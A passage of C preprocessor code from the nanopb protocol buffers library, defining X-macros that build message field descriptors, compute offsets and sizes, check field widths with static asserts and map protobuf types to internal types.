msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \
|
||||
0 \
|
||||
}; \
|
||||
const pb_msgdesc_t* const structname ## _submsg_info[] = \
|
||||
{ \
|
||||
msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \
|
||||
NULL \
|
||||
}; \
|
||||
const pb_msgdesc_t structname ## _msg = \
|
||||
{ \
|
||||
structname ## _field_info, \
|
||||
structname ## _submsg_info, \
|
||||
msgname ## _DEFAULT, \
|
||||
msgname ## _CALLBACK, \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \
|
||||
}; \
|
||||
msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname)
|
||||
|
||||
#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1
|
||||
#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \
|
||||
+ (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED)
|
||||
#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \
|
||||
* 0 + tag
|
||||
|
||||
/* X-macro for generating the entries in struct_field_info[] array. */
|
||||
#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
|
||||
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
/* X-macro for generating asserts that entries fit in struct_field_info[] array.
|
||||
* The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(),
|
||||
* but it is not easily reused because of how macro substitutions work. */
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
|
||||
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname)
|
||||
|
||||
#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname)
|
||||
#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname)
|
||||
#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname)
|
||||
#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname))
|
||||
#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname)
|
||||
#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname)
|
||||
#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname)
|
||||
#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count)
|
||||
#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
|
||||
#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname)
|
||||
#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
|
||||
#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
|
||||
#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname)
|
||||
#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname)
|
||||
#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname)
|
||||
#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname)
|
||||
#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0])
|
||||
|
||||
#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname)
|
||||
#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname)
|
||||
#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0])
|
||||
#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
|
||||
#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple)
|
||||
#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname
|
||||
#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername
|
||||
#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname
|
||||
|
||||
#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname)
|
||||
|
||||
#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname))
|
||||
#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername)
|
||||
#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SI_PB_LTYPE_BOOL(t)
|
||||
#define PB_SI_PB_LTYPE_BYTES(t)
|
||||
#define PB_SI_PB_LTYPE_DOUBLE(t)
|
||||
#define PB_SI_PB_LTYPE_ENUM(t)
|
||||
#define PB_SI_PB_LTYPE_UENUM(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED32(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED64(t)
|
||||
#define PB_SI_PB_LTYPE_FLOAT(t)
|
||||
#define PB_SI_PB_LTYPE_INT32(t)
|
||||
#define PB_SI_PB_LTYPE_INT64(t)
|
||||
#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t)
|
||||
#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t)
|
||||
#define PB_SI_PB_LTYPE_SFIXED32(t)
|
||||
#define PB_SI_PB_LTYPE_SFIXED64(t)
|
||||
#define PB_SI_PB_LTYPE_SINT32(t)
|
||||
#define PB_SI_PB_LTYPE_SINT64(t)
|
||||
#define PB_SI_PB_LTYPE_STRING(t)
|
||||
#define PB_SI_PB_LTYPE_UINT32(t)
|
||||
#define PB_SI_PB_LTYPE_UINT64(t)
|
||||
#define PB_SI_PB_LTYPE_EXTENSION(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t)
|
||||
#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg),
|
||||
|
||||
/* The field descriptors use a variable width format, with width of either
|
||||
* 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always
|
||||
* encode the descriptor size, 6 lowest bits of field tag number, and 8 bits
|
||||
* of the field type.
|
||||
*
|
||||
* Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words.
|
||||
*
|
||||
* Formats, listed starting with the least significant bit of the first word.
|
||||
* 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size]
|
||||
*
|
||||
* 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset]
|
||||
* [16-bit data_offset] [12-bit data_size] [4-bit tag>>6]
|
||||
*
|
||||
* 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size]
|
||||
* [8-bit size_offset] [24-bit tag>>6]
|
||||
* [32-bit data_offset]
|
||||
* [32-bit data_size]
|
||||
*
|
||||
* 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved]
|
||||
* [8-bit size_offset] [24-bit tag>>6]
|
||||
* [32-bit data_offset]
|
||||
* [32-bit data_size]
|
||||
* [32-bit array_size]
|
||||
* [32-bit reserved]
|
||||
* [32-bit reserved]
|
||||
* [32-bit reserved]
|
||||
*/
|
||||
|
||||
#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(0 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \
|
||||
(((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)),
|
||||
|
||||
#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(1 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \
|
||||
(((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)),
|
||||
|
||||
#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(2 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \
|
||||
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
|
||||
(data_offset), (data_size),
|
||||
|
||||
#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(3 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8)), \
|
||||
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
|
||||
(data_offset), (data_size), (array_size), 0, 0, 0,
|
||||
|
||||
/* These assertions verify that the field information fits in the allocated space.
|
||||
* The generator tries to automatically determine the correct width that can fit all
|
||||
* data associated with a message. These asserts will fail only if there has been a
|
||||
* problem in the automatic logic - this may be worth reporting as a bug. As a workaround,
|
||||
* you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting
|
||||
* descriptorsize option in .options file.
|
||||
*/
|
||||
#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<<bits))
|
||||
#define PB_FIELDINFO_ASSERT_1(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,6) && PB_FITS(data_offset,8) && PB_FITS(size_offset,4) && PB_FITS(data_size,4) && PB_FITS(array_size,1), FIELDINFO_DOES_NOT_FIT_width1_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_2(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,10) && PB_FITS(data_offset,16) && PB_FITS(size_offset,4) && PB_FITS(data_size,12) && PB_FITS(array_size,12), FIELDINFO_DOES_NOT_FIT_width2_field ## tag)
|
||||
|
||||
#ifndef PB_FIELD_32BIT
|
||||
/* Maximum field sizes are still 16-bit if pb_size_t is 16-bit */
|
||||
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
|
||||
#else
|
||||
/* Up to 32-bit fields supported.
|
||||
* Note that the checks are against 31 bits to avoid compiler warnings about shift wider than type in the test.
|
||||
* I expect that there is no reasonable use for >2GB messages with nanopb anyway.
|
||||
*/
|
||||
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
|
||||
#endif
|
||||
|
||||
|
||||
/* Automatic picking of FIELDINFO width:
|
||||
* Uses width 1 when possible, otherwise resorts to width 2.
|
||||
* This is used when PB_BIND() is called with "AUTO" as the argument.
|
||||
* The generator will give explicit size argument when it knows that a message
|
||||
* structure grows beyond 1-word format limits.
|
||||
*/
|
||||
#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2
|
||||
#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2
|
||||
#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_BOOL 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_BYTES 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_ENUM 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UENUM 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_INT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_INT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SINT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SINT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_STRING 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UINT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UINT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2
|
||||
|
||||
/* The mapping from protobuf types to LTYPEs is done using these macros. */
|
||||
#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL
|
||||
#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES
|
||||
#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE
|
||||
